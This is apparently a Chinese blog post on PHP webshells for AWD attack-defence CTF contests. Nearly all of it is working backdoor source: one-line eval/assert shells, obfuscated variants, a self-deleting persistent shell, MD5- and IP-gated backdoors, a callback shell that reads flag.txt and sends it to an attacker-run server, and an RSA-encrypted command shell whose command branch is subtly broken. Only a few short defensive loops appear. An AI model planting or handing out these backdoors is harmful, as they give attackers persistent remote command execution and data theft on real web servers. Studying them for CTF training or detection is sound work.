AWD模式下的各類PHP木馬
經典一句話木馬
最最常見的PHP木馬,經典,但也滿足不了我們的需求,很容易被大佬識破
<?php @eval($_POST["cmd"]); ?>
<?php @assert($_POST['cmd']);?>
混淆馬:讓木馬內容難以識別
<?php assert($_POST[-7]); ?> 變換成
<?php @$_='s'.'s'./*-/*-*/'e'./*-/*-*/'r'; @$_=/*-/*-*/'a'./*-/*-*/$_./*-/*-*/'t'; @$_/*-/*-*/($/*-/*-*/{'_P'./*-/*-*/'OS'./*-/*-*/'T'} [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);
$_POST[0]($_POST[1]); 變換成
<?php @$_++; // $_ = 1 $__=("#"^"|"); // $__ = _ $__.=("."^"~"); // _P $__.=("/"^"`"); // _PO $__.=("|"^"/"); // _POS $__.=("{"^"/"); // _POST ${$__}[!$_](${$__}[$_]); // ?>
不死馬:
哪怕被發現也很難被清除
<?php set_time_limit(0); //PHP指令碼限制了執行時間,set_time_limit(0)設定一個指令碼的執行時間為無限長 ignore_user_abort(1); //ignore_user_abort如果設定為 TRUE,則忽略與使用者的斷開,指令碼將繼續執行。 unlink(__FILE__); //刪除自身 while(1) { file_put_contents('shell.php','<?php @eval($_POST["password"]);?>'); //建立shell.php sleep(0); //間隔時間 }
對付這種木馬,目前最有效的辦法就是重啟PHP伺服器。
但在awd模式下,一般無許可權,
可以通過不斷複寫shell.php來達到該木馬難以被使用的效果。
<?php
set_time_limit(0); // 取消指令碼執行時間的超時上限
ignore_user_abort(1); // 後臺執行
while(1)
{
file_put_contents('shell.php','11111111'); //建立shell.php
sleep(0);
}
也可以用bash命令,不斷刪除該木馬檔案
while : ;do rm -rf xxx; done;
MD5驗證木馬:
比賽時有的隊伍批量種馬,但被攻擊的服務卻可以通過分析本地的木馬,然後去連線其他伺服器內的相同木馬獲取flag。
md5驗證木馬由此產生。防止其他隊伍進行分析。
<?php
i f(md5($_GET['key1'])==="202cb962ac59075b964b07152d234b70")
{
@eval($_POST['key2']);
}
?>
接收key1的值進行MD5,然後比較,相同才執行key2的命令
菜刀使用方式 http://x.x.x.x/shell.php?key1=123 密碼是key2
一般使用方式 http://x.x.x.x/shell.php?key1=123&key2=命令
IP驗證木馬:
MD5馬相對普通馬,安全性有了一定提升,但並不能完全杜絕其他隊伍的利用。一些隊伍可以在php頁面內包含waf,抓取流量來獲取木馬的利用url,可以看到連線小馬獲取flag的引數。經過復現後,同樣能獲得flag。於是,我就自然而然的想到了識別ip的php馬。
<?php
$ip="x.x.x.x"; //自己的ip
if ($_SERVER['REMOTE_ADDR']===$ip)
{
@eval($_POST["cmd"]);
}
php回彈木馬:
後來我又想到另外一種隱蔽的方式,讓被攻擊端主動傳送flag到我的伺服器,同時也只在後臺悄悄的執行。
<?php
set_time_limit(0); // 取消指令碼執行時間的超時上限
ignore_user_abort(1); // 後臺執行
unlink(__FILE__); //刪除本檔案
while(1){
$file="flag.txt"; //設定要讀取的檔案
$flag=file_get_contents($file);
//在自己的計算機上開啟伺服器,輸入ip讓其訪問。並建立一個php記錄訪問的值,jiflag
$url="http://192.168.50.1/jilu.php?flag=".$flag;
$html=file_get_contents($url);
sleep(10);}
?>
RSA公鑰加解密木馬
伺服器端的php木馬負責接收攻擊端的指令並執行,將執行結果公鑰加密後發回,哪怕別人抓流量復現也只能得到加密後的結果。在此,我只給出服務端的php程式碼:
<?php
class Rsa
{
public $private_key = '';
public $public_key = '-----BEGIN PUBLIC KEY-----
MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgFSrrcjL328bU+DpvsOm1R++GGa/
RuHLkGZvAXOF+iWp6oJQ00ekeCWo82jNz+5eyubr7Sz1WcBp0/u4pQQpts43G334
lP9/2xXAXU4dvqs/XPnFLaryp93u+AE3fTQbvq81OpqVwlYNA+vuXUzYxfCakU2l
qnEzo5bRNM0IL5ixAgMBAAE=
-----END PUBLIC KEY-----';
public $encrypted = '';
public $decrypted = "";
public $data = '';
public function init($file)
{
$this-> data = file_get_contents($file);
return $this->data;
}
public function encrypt($data)
{
openssl_public_encrypt($data,$encrypted,$this->public_key);//公鑰加密
$encrypted = base64_encode($encrypted);
return $encrypted;
}
public function decrypt_cmd($c)
{
print $c;
openssl_public_decrypt(base64_decode($c),$decrypted,$this->public_key);//私鑰加密的內容通過公鑰可解密出來
echo "\n";
echo "public key decrypt:\n";
print $decrypted;
echo `$decrypted`;
#passthru($decrypted);
}
public function publicDecrypt($data, $publicKey)
{
openssl_public_decrypt($data, $decrypted, $publicKey);
return $decrypted;
}
}
function publicDecrypt($data, $publicKey)
{
openssl_public_decrypt($data, $decrypted, $publicKey);
return $decrypted;
}
@$i = $_GET['i'];
$rsa =new Rsa();
#1是直接讀flag檔案
if($i==1)
{
$flag_path="flag";
$data1=$rsa->init($flag_path);
#print $data1;
$data2=$rsa->encrypt($data1);
print $data2;
}
#2是執行命令
if($i==2)
{
@$c = $_GET['c'];
$cmd = base64_decode($cmd);
$a=`$cmd`;
$a2=$rsa->encrypt($a);
echo $a2;
}
?>
參考:
那些強悍的PHP一句話後門
http://www.freebuf.com/articles/web/9396.html
微信jjinchengg歡迎各位大佬交流